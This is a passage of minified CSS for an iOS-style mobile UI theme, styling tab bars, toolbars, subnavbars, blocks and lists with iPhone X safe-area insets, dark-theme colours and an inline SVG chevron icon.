.tabbar-labels.color-blue a.tab-link-active,.ios .tabbar.color-blue a.tab-link-active{color:#007aff}.ios .tabbar-labels.color-pink a.tab-link-active,.ios .tabbar.color-pink a.tab-link-active{color:#ff2d55}.ios .tabbar-labels.color-yellow a.tab-link-active,.ios .tabbar.color-yellow a.tab-link-active{color:#fc0}.ios .tabbar-labels.color-orange a.tab-link-active,.ios .tabbar.color-orange a.tab-link-active{color:#ff9500}.ios .tabbar-labels.color-gray a.tab-link-active,.ios .tabbar.color-gray a.tab-link-active{color:#8e8e93}.ios .tabbar-labels.color-white a.tab-link-active,.ios .tabbar.color-white a.tab-link-active{color:#fff}.ios .tabbar-labels.color-black a.tab-link-active,.ios .tabbar.color-black a.tab-link-active{color:#000}.ios.device-iphone-x .login-screen>.toolbar,.ios.device-iphone-x .page>.toolbar,.ios.device-iphone-x .panel>.toolbar,.ios.device-iphone-x .popup>.toolbar,.ios.device-iphone-x .view>.toolbar,.ios.device-iphone-x .views>.toolbar{height:calc(44px + constant(safe-area-inset-bottom));height:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .login-screen>.toolbar .toolbar-inner,.ios.device-iphone-x .page>.toolbar .toolbar-inner,.ios.device-iphone-x .panel>.toolbar .toolbar-inner,.ios.device-iphone-x .popup>.toolbar .toolbar-inner,.ios.device-iphone-x .view>.toolbar .toolbar-inner,.ios.device-iphone-x .views>.toolbar .toolbar-inner{height:auto;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(50px + constant(safe-area-inset-bottom));height:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}}.ios.device-iphone-x .toolbar~* .page-content,.ios.device-iphone-x .toolbar~.page-content{padding-bottom:calc(44px + constant(safe-area-inset-bottom));padding-bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(50px + constant(safe-area-inset-bottom));padding-bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-left-edge .toolbar-inner,.ios.device-iphone-x .panel-left .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-right-edge .toolbar-inner,.ios.device-iphone-x .panel-right .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.subnavbar{width:100%;position:absolute;left:0;top:0;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .title{position:relative;overflow:hidden;text-overflow:ellpsis;white-space:nowrap}.subnavbar .left,.subnavbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .right:first-child{position:absolute;height:100%}.subnavbar-inner{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.subnavbar-inner.stacked{display:none}.navbar .subnavbar{top:100%}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .subnavbar{height:45px;margin-top:-1px;padding-top:1px;background:#f7f7f8}.ios .subnavbar.no-hairline:after{display:none!important}.ios .subnavbar .title{font-weight:700;line-height:1;overflow:visible;font-size:34px;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;letter-spacing:-.03em}.ios .subnavbar .title{margin-right:7px}.ios .subnavbar .left a+a,.ios .subnavbar .right a+a{margin-right:15px}.ios .subnavbar .left{margin-left:10px}.ios .subnavbar .right{margin-right:10px}.ios .subnavbar .right:first-child{left:8px}.ios .subnavbar a.link{line-height:44px;height:44px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .subnavbar a.icon-only{min-width:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:0}.ios .subnavbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .subnavbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .subnavbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .subnavbar-inner{padding:0 8px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .subnavbar,.ios .navbar~.subnavbar{top:44px}.ios .page-with-subnavbar .page-content,.ios .subnavbar~* .page-content,.ios .subnavbar~.page-content{padding-top:44px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~* .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~.page-content,.ios .page-with-subnavbar .navbar~.page-content{padding-top:88px}.ios .theme-dark .subnavbar,.subnavbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .subnavbar:after,.subnavbar.ios .theme-dark:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-left-edge .subnavbar-inner,.ios.device-iphone-x .panel-left .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-right-edge .subnavbar-inner,.ios.device-iphone-x .panel-right .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.block{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;z-index:1}.block.no-hairlines ul:before,.block.no-hairlines:before,.ios .block.no-hairlines-ios ul:before,.ios .block.no-hairlines-ios:before,.md .block.no-hairlines-md ul:before,.md .block.no-hairlines-md:before{display:none!important}.block.no-hairlines ul:after,.block.no-hairlines:after,.ios .block.no-hairlines-ios ul:after,.ios .block.no-hairlines-ios:after,.md .block.no-hairlines-md ul:after,.md .block.no-hairlines-md:after{display:none!important}.block.no-hairline-top ul:before,.block.no-hairline-top:before,.ios .block.no-hairline-top-ios ul:before,.ios .block.no-hairline-top-ios:before,.md .block.no-hairline-top-md ul:before,.md .block.no-hairline-top-md:before{display:none!important}.block.no-hairline-bottom ul:after,.block.no-hairline-bottom:after,.ios .block.no-hairline-bottom-ios ul:after,.ios .block.no-hairline-bottom-ios:after,.md .block.no-hairline-bottom-md ul:after,.md .block.no-hairline-bottom-md:after{display:none!important}.block>h1:first-child,.block>h2:first-child,.block>h3:first-child,.block>h4:first-child,.block>p:first-child{margin-top:0}.block>h1:last-child,.block>h2:last-child,.block>h3:last-child,.block>h4:last-child,.block>p:last-child{margin-bottom:0}.block-title{position:relative;overflow:hidden;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;line-height:1}.block-strong.inset{border-radius:7px}.block-strong.inset:before{display:none!important}.block-strong.inset:after{display:none!important}.block-footer,.block-header{font-size:14px}.block-footer h1:first-child,.block-footer h2:first-child,.block-footer h3:first-child,.block-footer h4:first-child,.block-footer p:first-child,.block-footer ul:first-child,.block-header h1:first-child,.block-header h2:first-child,.block-header h3:first-child,.block-header h4:first-child,.block-header p:first-child,.block-header ul:first-child{margin-top:0}.block-footer h1:last-child,.block-footer h2:last-child,.block-footer h3:last-child,.block-footer h4:last-child,.block-footer p:last-child,.block-footer ul:last-child,.block-header h1:last-child,.block-header h2:last-child,.block-header h3:last-child,.block-header h4:last-child,.block-header p:last-child,.block-header ul:last-child{margin-bottom:0}.block-footer h1:first-child:last-child,.block-footer h2:first-child:last-child,.block-footer h3:first-child:last-child,.block-footer h4:first-child:last-child,.block-footer p:first-child:last-child,.block-footer ul:first-child:last-child,.block-header h1:first-child:last-child,.block-header h2:first-child:last-child,.block-header h3:first-child:last-child,.block-header h4:first-child:last-child,.block-header p:first-child:last-child,.block-header ul:first-child:last-child{margin-top:0;margin-bottom:0}.block-header{margin-bottom:10px}.block-footer{margin-top:10px}@media (min-width:768px){.block-strong.tablet-inset:before{display:none!important}.block-strong.tablet-inset:after{display:none!important}}.ios .block{margin:35px 0;padding:0 15px;color:#6d6d72}.ios .block-title{text-transform:uppercase;color:#6d6d72;margin:35px 15px 10px;line-height:17px}.ios .block-title+.block,.ios .block-title+.block-header,.ios .block-title+.card,.ios .block-title+.list,.ios .block-title+.timeline{margin-top:10px}.ios .block-strong{color:#000;background:#fff;padding:15px 15px}.ios .block-strong:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block-strong:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block.inset{margin-left:15px;margin-right:15px}.ios .block-strong-inset{border-radius:7px}.ios .block-footer,.ios .block-header{padding:0 15px;color:#8f8f94}.ios .block .block-footer,.ios .block .block-header{padding:0!important}.ios .block-header{margin-top:35px}.ios .block-header+.block,.ios .block-header+.card,.ios .block-header+.list,.ios .block-header+.timeline{margin-top:10px}.ios .block-footer{margin-bottom:35px}.ios .block .block-header,.ios .card .block-header,.ios .list .block-header,.ios .timeline .block-header{margin-top:0}.ios .block .block-footer,.ios .card .block-footer,.ios .list .block-footer,.ios .timeline .block-footer{margin-bottom:0}.ios .block+.block-footer,.ios .card+.block-footer,.ios .list+.block-footer,.ios .timeline+.block-footer{margin-top:-25px}.ios .block+.block-footer{margin-top:-25px;margin-bottom:35px}@media (min-width:768px){.ios .block.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .block-strong.tablet-inset{border-radius:7px}}.ios .theme-dark .block-footer,.ios .theme-dark .block-header,.ios .theme-dark .block-title{color:#8e8e93}.ios .theme-dark .block{color:#8e8e93}.ios .theme-dark .block-strong,.ios .theme-dark.block-strong{background-color:#1c1c1d;color:#fff}.ios .theme-dark .block-strong:before,.ios .theme-dark.block-strong:before{background-color:#282829}.ios .theme-dark .block-strong:after,.ios .theme-dark.block-strong:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-footer,.ios.device-iphone-x .ios-left-edge .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-footer,.ios.device-iphone-x .panel-left .block-header,.ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-footer,.ios.device-iphone-x .ios-right-edge .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-footer,.ios.device-iphone-x .panel-right .block-header,.ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.list{position:relative;z-index:1}.list ul{list-style:none;margin:0;padding:0;position:relative}.list ul ul:before{display:none!important}.list ul ul:after{display:none!important}.list li{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-media{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;padding-bottom:8px}.list .item-inner{position:relative;width:100%;padding-top:8px;padding-bottom:8px;min-width:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.list .item-title{min-width:0;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;max-width:100%}.list .item-after{white-space:nowrap;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:auto}.list .item-link,.list .list-button{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;z-index:0}.list .item-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.list .item-subtitle{position:relative;overflow:hidden;white-space:nowrap;max-width:100%;text-overflow:ellipsis}.list .item-text{position:relative;overflow:hidden;text-overflow:hidden;-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box}.list .item-title-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-title-row .item-after{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.list .item-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-cell{display:block;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.list li:last-child .list-button:after{display:none!important}.list li:last-child li:last-child>.item-content>.item-inner:after,.list li:last-child li:last-child>.item-inner:after,.list li:last-child li:last-child>.item-link>.item-content>.item-inner:after,.list li:last-child>.item-content>.item-inner:after,.list li:last-child>.item-inner:after,.list li:last-child>.item-link>.item-content>.item-inner:after{display:none!important}.ios .list.no-hairlines-ios ul:before,.ios .list.no-hairlines-ios:before,.list.no-hairlines ul:before,.list.no-hairlines:before,.md .list.no-hairlines-md ul:before,.md .list.no-hairlines-md:before{display:none!important}.ios .list.no-hairlines-ios ul:after,.ios .list.no-hairlines-ios:after,.list.no-hairlines ul:after,.list.no-hairlines:after,.md .list.no-hairlines-md ul:after,.md .list.no-hairlines-md:after{display:none!important}.ios .list.no-hairline-top-ios ul:before,.ios .list.no-hairline-top-ios:before,.list.no-hairline-top ul:before,.list.no-hairline-top:before,.md .list.no-hairline-top-md ul:before,.md .list.no-hairline-top-md:before{display:none!important}.ios .list.no-hairline-bottom-ios ul:after,.ios .list.no-hairline-bottom-ios:after,.list.no-hairline-bottom ul:after,.list.no-hairline-bottom:after,.md .list.no-hairline-bottom-md ul:after,.md .list.no-hairline-bottom-md:after{display:none!important}.ios .list.no-hairlines-between-ios .item-divider:after,.ios .list.no-hairlines-between-ios .item-inner:after,.ios .list.no-hairlines-between-ios .list-button:after,.ios .list.no-hairlines-between-ios .list-group-title:after,.list.no-hairlines-between .item-divider:after,.list.no-hairlines-between .item-inner:after,.list.no-hairlines-between .list-button:after,.list.no-hairlines-between .list-group-title:after,.md .list.no-hairlines-between-md .item-divider:after,.md .list.no-hairlines-between-md .item-inner:after,.md .list.no-hairlines-between-md .list-button:after,.md .list.no-hairlines-between-md .list-group-title:after{display:none!important}.ios .list.no-hairlines-between-ios.simple-list li:after,.list.no-hairlines-between.simple-list li:after,.md .list.no-hairlines-between-md.simple-list li:after{display:none!important}.ios .list.no-hairlines-between-ios.links-list a:after,.list.no-hairlines-between.links-list a:after,.md .list.no-hairlines-between-md.links-list a:after{display:none!important}.list.simple-list li{position:relative;white-space:nowrap;text-overflow:ellipsis;max-width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.list.simple-list li:last-child:after{display:none!important}.list.links-list a{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;text-overflow:ellipsis;max-width:100%}.list.links-list li:last-child a:after{display:none!important}.media-list .item-inner,li.media-item .item-inner{display:block;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background:0 0}.media-list .item-media,li.media-item .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.media-list .item-media img,li.media-item .item-media img{display:block}.links-list a,.list .item-link .item-inner,.media-list .chevron-center .item-link .item-inner,.media-list .item-link .item-title-row,.media-list .item-link.chevron-center .item-inner,.media-list.chevron-center .item-link .item-inner,li.media-item .chevron-center .item-link .item-inner,li.media-item .item-link .item-title-row,li.media-item .item-link.chevron-center .item-inner,li.media-item.chevron-center .item-link .item-inner{background-size:8px 13px;background-repeat:no-repeat;background-position:15px center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.item-link.no-chevron .item-inner,.links-list .no-chevron a,.links-list.no-chevron a,.media-list .chevron-center .item-title-row,.media-list.chevron-center .item-title-row,.media-list.no-chevron .item-link .item-title-row,.no-chevron .item-link .item-inner,.no-chevron .links-list a,.no-chevron .media-list .item-link .item-title-row,li.media-item .chevron-center .item-title-row,li.media-item .no-chevron .item-title-row,li.media-item.chevron-center .item-title-row,li.media-item.no-chevron .item-title-row{background-image:none!important}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background-image:none}.media-list .item-link .item-title-row,li.media-item .item-link .item-title-row{background-position:left center!important}.list-group ul:after,.list-group ul:before{z-index:25!important}.list-group+.list-group ul:before{display:none!important}.item-divider,li.item-divider,li.list-group-title{white-space:nowrap;position:relative;max-width:100%;text-overflow:ellipsis;overflow:hidden;z-index:15}li.list-group-title{position:relative;position:-webkit-sticky;position:sticky;top:0;margin-top:0;z-index:20}li.list-group-title:before{display:none!important}.list.inset .block-title{margin-left:0;margin-right:0}.list.inset ul:before{display:none!important}.list.inset ul:after{display:none!important}@media (min-width:768px){.list.tablet-inset .block-title{margin-left:0;margin-right:0}.list.tablet-inset ul:before{display:none!important}.list.tablet-inset ul:after{display:none!important}}.links-list.theme-dark a,.list.theme-dark .item-link .item-inner,.media-list.theme-dark .item-link .item-title-row,.theme-dark .links-list a,.theme-dark .list .item-link .item-inner,.theme-dark .media-list .item-link .item-title-row,.theme-dark li.media-item .item-link 